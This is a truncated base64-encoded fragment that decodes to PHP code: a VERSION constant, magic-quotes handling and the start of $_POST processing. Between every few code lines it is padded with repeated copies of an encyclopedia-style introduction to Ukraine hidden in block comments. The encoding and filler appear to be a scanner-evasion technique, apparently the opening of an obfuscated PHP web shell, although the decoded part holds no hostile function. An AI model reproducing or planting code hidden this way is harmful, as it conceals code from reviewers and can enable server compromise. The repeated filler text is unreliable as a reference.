hlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwpAZGVmaW5lKCdWRVJTSU9OJywgJzIuMi4wJyk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsKCWZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKCX0KLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkkX1BPU1QgPSBzdHJpcHNsYXNoZXNfY